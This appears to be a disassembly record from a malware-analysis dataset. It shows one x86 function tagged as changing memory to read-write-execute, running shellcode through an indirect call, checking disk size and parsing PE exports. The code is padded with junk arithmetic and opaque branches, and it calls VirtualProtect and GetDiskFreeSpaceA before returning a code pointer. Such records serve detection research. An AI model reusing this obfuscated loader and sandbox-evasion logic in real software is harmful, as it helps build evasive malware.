Function at 0x401a70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xf8
mov word [esp + 0xe6], 0x17a3
mov dword [esp + 0xdc], 0
mov dword [esp + 0xd8], 0x77be
mov byte [esp + 0xd7], 5
mov dword [esp + 0xd0], 0x3d68
mov word [esp + 0x72], 0x6276
mov al, byte [esp + 0xd7]
add al, 0x36
mov byte [esp + 0x9b], al
mov ecx, dword [esp + 0xe8]
mov edx, dword [esp + 0xec]
mov esi, ecx
and esi, 0x32e4
mov al, byte [esp + 0xd7]
mov dword [esp + 0xe8], esi
mov dword [esp + 0xec], 0
add al, 0x9d
mov byte [esp + 0x6b], al
mov al, byte [esp + 0xd7]
add al, 0xfb
mov byte [esp + 0xaf], al
mov al, byte [esp + 0xd7]
add al, 0x7d
mov esi, dword [esp + 0xe0]
mov edi, esi
imul edi, edi
mov dword [esp + 0xe0], edi
mov byte [esp + 0x7b], al
mov edi, esp
mov dword [edi], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp + 0x48], ecx
mov dword [esp + 0x44], edx
mov dword [esp + 0x40], esi
call edi
sub esp, 4
mov ecx, 0x3d68
mov dword [esp + 0xb0], eax
sub ecx, dword [esp + 0xd0]
mov dword [esp + 0xa8], ecx
mov dword [esp + 0x90], 0x3ff
jmp 0x401ff0
cmp dword [esp + 0xb0], 0
ja 0x401e0d
mov eax, dword [esp + 0xd0]
add eax, 0xffffc2d8
mov ecx, esp
lea edx, [esp + 0x94]
mov dword [ecx + 0xc], edx
mov dword [ecx + 8], eax
mov dword [ecx + 4], 0x1000
mov dword [ecx], 0x4491d0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov ecx, esp
lea edx, [esp + 0xb4]
mov dword [ecx + 4], edx
mov dword [ecx + 8], 0x1c
mov dword [ecx], 0x4491d0
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [esp + 0x3c], eax
call ecx
sub esp, 0xc
mov ecx, dword [esp + 0x40]
add ecx, 0x1e03
mov edx, dword [esp + 0xc8]
mov dword [esp + 0xe0], ecx
mov si, word [esp + 0xf2]
sub si, 0x35e2
mov word [esp + 0xf2], si
cmp edx, 0x40
mov dword [esp + 0x38], eax
jne 0x401d9f
mov ax, 0x2571
mov cl, byte [esp + 0x7b]
mov byte [esp + 0x4f], cl
mov dx, word [esp + 0xe6]
mov si, word [esp + 0xe6]
sub ax, dx
add si, 0x29d3
mov word [esp + 0x8e], ax
cmp word [esp + 0x8e], si
jae 0x401f8b
jmp 0x401e77
mov eax, dword [esp + 0x64]
mov ecx, esp
lea edx, [esp + 0x94]
mov dword [ecx + 0xc], edx
mov dword [ecx + 8], eax
mov dword [ecx + 4], 0x1000
mov dword [ecx], 0x4491d0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
lea ecx, [0x4019c0]
mov dword [esp + 0x7c], ecx
mov dword [esp + 0x34], eax
jmp 0x401ef7
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0xa4]
mov edx, dword [esp + 0xd8]
mov esi, dword [esp + 0xdc]
mov edi, dword [esp + 0x94]
xor ebx, ebx
mov dword [esp + 0x30], eax
mov eax, 0xc281
sub eax, edx
sbb ebx, esi
mov dword [esp + 0x64], edi
mov edx, dword [esp + 0x30]
xor edx, eax
xor ecx, ebx
or edx, ecx
mov dword [esp + 0x2c], edx
je 0x401b85
jmp 0x401c58
mov eax, 0x547e
mov ecx, dword [esp + 0xd0]
add ecx, 0xffffc3e2
mov dword [esp + 0x74], ecx
mov ecx, dword [esp + 0xd0]
mov edx, dword [esp + 0x74]
xor ecx, 0x3d69
mov esi, dword [esp + 0xd0]
xor esi, 0x7e1d
mov edi, dword [esp + 0x40]
sub eax, edi
mov dword [esp + 0xe0], eax
add ecx, dword [esp + 0x90]
mov dword [esp + 0x6c], ecx
cmp edx, esi
jbe 0x401fe5
jmp 0x401d9f
mov al, 0xfd
mov ecx, dword [esp + 0xa8]
mov dword [esp + 0x9c], ecx
cmp al, byte [esp + 0xaf]
je 0x401c95
jmp 0x401ee4
lea eax, [0x401765]
mov dword [esp + 0x7c], eax
jmp 0x401ef7
mov eax, dword [esp + 0xb0]
mov ecx, eax
sub ecx, 0x15c
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
je 0x401fad
jmp 0x401d8a
mov eax, dword [esp + 0x28]
sub eax, 0x212f
mov dword [esp + 0x20], eax
je 0x401f75
jmp 0x401d3a
mov dword [esp + 0x7c], 0
jmp 0x401ef7
lea eax, [esp + 0x50]
movzx ecx, word [esp + 0xe6]
mov edx, ecx
add edx, 0x6469
mov si, dx
mov edx, dword [esp + 0x48]
xor edx, 0x288e
add ecx, 0x4851
mov di, cx
mov ecx, dword [esp + 0x44]
mov dword [esp + 0xec], ecx
mov dword [esp + 0xe8], edx
mov word [esp + 0x84], si
mov si, word [esp + 0x84]
mov dword [esp + 0x88], eax
cmp si, di
jae 0x401f03
jmp 0x401c95
mov ax, 0xd60
mov cl, byte [esp + 0x6b]
mov dx, word [esp + 0x72]
mov byte [esp + 0x87], cl
mov esi, dword [esp + 0x40]
sub esi, 0x2285
mov dword [esp + 0xe0], esi
cmp ax, dx
jae 0x401e77
jmp 0x401f3a
xor eax, eax
mov ecx, 3
lea edx, [esp + 0x78]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 3
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ecx
call sub.msvcrt.dll_memset
mov dword [esp + 0x80], 0
jmp 0x401b77
mov al, 0x8f
mov ecx, 0x4ad
mov edx, dword [esp + 0xd8]
mov esi, dword [esp + 0xdc]
xor edi, edi
mov ebx, 0x89f0
sub ebx, edx
sbb edi, esi
mov dword [esp + 0xa0], ebx
mov dword [esp + 0xa4], edi
mov ah, byte [esp + 0x4f]
mov edx, dword [esp + 0x40]
sub ecx, edx
mov dword [esp + 0xe0], ecx
cmp al, ah
ja 0x401c95
jmp 0x401b77
mov eax, 0x3d67
mov ecx, dword [esp + 0xb0]
sub eax, dword [esp + 0xd0]
add ecx, eax
mov dword [esp + 0xb0], ecx
jmp 0x401b77
mov eax, dword [esp + 0x9c]
add eax, 2
mov dword [esp + 0xa8], eax
jmp 0x401ec3
mov eax, dword [esp + 0x7c]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x50]
mov ecx, dword [esp + 0x88]
mov edx, esp
mov dword [edx + 0x10], ecx
mov dword [edx + 0xc], eax
mov dword [edx + 8], eax
mov dword [edx + 4], eax
mov dword [edx], 0x401760
mov eax, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
call eax
sub esp, 0x14
cmp eax, 0
jne 0x401d5c
jmp 0x401e3c
mov al, 0x3e
sub al, byte [esp + 0xd7]
cmp al, byte [esp + 0x87]
ja 0x401ce4
jmp 0x401d6b
mov eax, dword [esp + 0x40]
sub eax, 0x1aeb
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 0xa8], eax
jmp 0x401ec3
mov eax, dword [esp + 0xa8]
add eax, 0xa
mov dword [esp + 0xa8], eax
jmp 0x401ec3
movss xmm0, dword [0x401034]
xorps xmm1, xmm1
movss dword [esp + 0x60], xmm1
addss xmm0, dword [esp + 0x60]
movss dword [esp + 0x60], xmm0
jmp 0x401ce4
mov al, byte [esp + 0x9b]
mov cl, byte [esp + 0xd7]
mov edx, dword [esp + 0xa8]
add cl, 8
mov esi, dword [esp + 0xd0]
xor esi, 0x3d69
add edx, esi
mov dword [esp + 0x5c], edx
cmp al, cl
jbe 0x401c58
jmp 0x401f55
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x90], eax
cmp dword [esp + 0x90], 0x3dba5
jl 0x401f8b
jmp 0x401dac